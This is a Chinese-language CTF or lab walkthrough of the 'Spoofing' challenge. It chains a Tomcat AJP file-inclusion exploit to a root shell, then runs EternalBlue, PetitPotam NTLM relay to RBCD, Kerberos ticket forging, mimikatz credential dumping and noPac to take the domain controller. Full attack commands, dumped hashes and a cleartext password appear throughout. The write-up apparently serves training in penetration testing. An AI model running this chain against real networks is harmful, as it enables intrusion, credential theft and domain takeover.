Spoofing flag1 信息收集
8080是一个后台系统
tomcat 9.0.23
查到有CVE-2020-1983 Tomcat文件包含漏洞
外网打点 查看一下web.xml
1 python ajpShooter.py http://39.98.109.11:8080 8009 /WEB-INF/web.xml read
存在UploadServlet功能
打文件包含rce
文件上传目录
Files are stored in ./upload/60c4510cf9e3c5d2e75d932aca531a1c/20250318114427444.txt
1 python ajpShooter.py http://39.98.109.11:8080/ 8009 /upload/afd3fcf0deba60870403fa7085086524/20250318010820634.txt eval
反弹的shell直接是root权限,在root下直接读取flag01
flag2 fscan frp 准备好,先进行内网信息收集
172.22.11.6 DC
172.22.11.26 XR-LCM3AE8B
172.22.11.45 MSF17-010
172.22.11.76 入口机
MS17_010 先打45的MSF
1 2 3 4 5 proxychains msfconsole use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcp_uuidset RHOSTS 172.22.11.45 exploit
flag03&flag04 拿一下hash
XR-DESKTOP$ XIAORANG afbf69984b774270f847154ee837266d fe2a64a9a4b33e32c39269dfbba9deb888200849 yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f
yangmei XIAORANG xrihGHgoNZQ
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
用bloodhound收集一下信息
这里用的bloodhound.py
1 proxychains python bloodhound.py -u yangmei -p xrihGHgoNZQ -d xiaorang.lab --dns-tcp -ns 172.22.11.6 -c all --zip
petitpotam 打petitpotam
红队域渗透NTLM Relay:强制认证方式总结
打NTLM Relay via WebDAV +Petitpotam的Coerce Authentication,我们可以用Petitpotam强制目标服务器、目标用户使用LM Hash、NTLM Hash对我们的服务器进行认证,然后我们可以将该认证中继至其他目标服务器中以达到横向、提权等的目的,这里只有172.22.11.26有Petitpotam。
通过WebDav进行NTLM Relay的好处在于可以不受到协议签名的影响,对本地内部网或受信任的站点自动使用当前用户凭据进行NTLM认证。
1 proxychains crackmapexec smb 172.22.11.26 -u yangmei -p xrihGHgoNZQ -M petitpotam
1 SMB 172.22 .11 .26 445 XR-LCM3AE8B [*] Windows 10 / Server 2019 Build 18362 x64 (name :XR-LCM3AE8B) (domain :xiaorang.lab) (signing :False) (SMBv1 :False)
攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
后续通过设置基于资源的约束委派等方式来获取目标机器的最高权限。
探查一下开启webclinet服务的机器
1 2 proxychains webclientservicescanner xiaorang.lab/yangmei:xrihGHgoNZQ@172.22.11.6 -no-validation proxychains webclientservicescanner xiaorang.lab/yangmei:xrihGHgoNZQ@172.22.11.26 -no-validation
只有26开了
打webcline前先配置一下流量转发
配个公钥
1 2 3 4 5 6 7 8 ssh-keygen -t rsa -b 4096cat Spoofing.pubecho "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC42ck2rjvS7xFDA2s4yXz2riryvn1JCXAzd7S/ZEuKDJ4kA/i6a7kiePYzOx+d7hadLfnng1UFbXmXTr59g6h/PIzGvjz6okH0ddRchdY4BOmpZDwrPBZgI0yVi+6/f8rEpEBXCPdL2190yMnZvDnrnwNVDxTS1I/Phd4bwxQ+s/mrk3lX3IjqlO5tbnrsH0agaSOuBYYLB01lhTL+s588a/oHAKWOlAx3EJuhMDOIreWvhNWz6Gr+mu8KTkMSlTOT8l6UKgqYvn1/IhgW20viAzMM1nZQIx5Q2laTqd1xn0eZks7vCkyAGY3XDBzQK5wMadqc4w/DRs2Gy2b/9qfjOqWpWLqJK1sGuCS8gGvmE669405Xm3uOVnFh9upTUZ82La088tKYzjWlvkNbSlCPTZnaW0jscrmFj0x8HVeTvpzGY6WxgzamFJD3TMkRsEutKNRVTNFUmit9FwajsU7Gzyup7BEg/e+LRoCIohDD910F561CXljX0GgsxOFyIFfRVdQda5Qpzw1HyPyOyHoqZSFRE5NFGvlRnr5VkODDSlgJhu11w0IsH9+MXOgLwhlreSEePB09M71yo0fagli32XQGIbrnBo0/aoRA2Qdpg7n3xvc2Y1+BYuccbPSQgIzgU3GJM5xcB8tF8RADAaVdN75RZVNRmAtZolK4JE1alw== dog@kali" > /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys ssh -i dog-k root@39.98.109.11
接下来把机器的80端口流量转发到我们本地
但这里有个条件,需要我们把服务器端口的流量转发到客户端本地的80,但SSH的反向端口转发监听的时候只会监听127.0.0.1,这里我们让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0
1 2 ssh -i dog-k root@39.98.115.201 -D SOCKS代理IP:PORT -R \*:79 :127.0.0.1:80 nohup socat TCP-LISTEN:80 ,fork,bind=0.0.0.0 TCP:localhost:79 &
测试如下,成功
没有ldaps,所以不能使用addcomputer 同时在使用proxychains后,ldap://后面只能接dc的ip 利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD
本地开启ntlmrelayx,利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD,接着使用Petitpotam 触发XR-LCM3AE8B认证到172.22.11.76
指定LDAP协议进行身份验证,目标主机设置为域控,利用-delegate-access选项执行基于资源的约束委派攻击。
1 2 proxychains python3 ntlmrelayx.py -t ldap://172.22 .11.6 --no -dump --no -da --no -acl --escalate-user 'xr-desktop$' --delegate-access proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80 /pwn.txt 172.22 .11.26
可以看到ntlmrelayx也提示设置了XR-DESKTOP到172.22.11.26的基于资源的约束委派。
接下来就是通过基于资源的约束委派获取ST票据,然后注入内存、psexec来获取交互式shell。 申请XR-LCM3AE8B CIFS票据。这里的hash是前面抓到的XR-DESKTOP用户的hash
1 proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :5bed3fa07320fd02d0ea1f736f0fd641 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
1 2 3 4 5 proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :6f558f06e563b300dc9f5884aca659f3 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache sudo vim /etc/hosts
之后利用psexec无密码连接
1 proxychains python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk
添加一个管理账户rdp 拿到flag3
PS:这里会提示其他用户已经登陆,是因为上面psexec连接的xiaorang,关闭其连接即可
如果rdp连接不上,也可以smb 来上传猕猴桃,从psexec执行命令
1 2 3 4 proxychains python3 smbclient.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no -pass -target-ip 172.22 .11.26 use C$cd \windows\tempput /root/Desktop/mimikatz.exe
上传猕猴桃拿一下hash
1 2 privilege::debug sekurlsa::logonpasswords
zhanghui
1232126b24cdf8c9bd2f788a9d7c7ed1
打nopac
在Kerberos认证的过程中,处理UserName字段时,如果找不到UserName字段(这里的UserName字段可以理解为samAccountName的值),KDC就会去查找UserName$。但是在Kerberos认证中负责用户身份权限的数据块是PAC,正常流程下在TGS阶段的PAC是拷贝AS阶段的(如果是修改samAccountName值的域用户去申请的PAC,在TGS阶段去申请ST时的PAC还是之前用户的,是没有办法成功利用的),所以这里就需要利用到S4U2Self请求,利用S4U2Self的特性,在TGS阶段的时候会根据S4U2Self协议中模拟的用户生成对应的PAC(绕过了TGS阶段的PAC是拷贝AS阶段的校验),放在ST票据中,即可拿着该ST去访问域控
XR-DESKTOP$ 或者zhanghui都可以
1 proxychains python3 noPac.py xiaorang.lab/'XR-DESKTOP$' -hashes ':03e8d17f4da1797f6b69a9a7a23244c1' -dc-ip 172.22 .11.6 --impersonate Administrator -no -add -target-name 'XR-DESKTOP$' -old-hash ':6f558f06e563b300dc9f5884aca659f3' -use-ldap -shell
1 proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell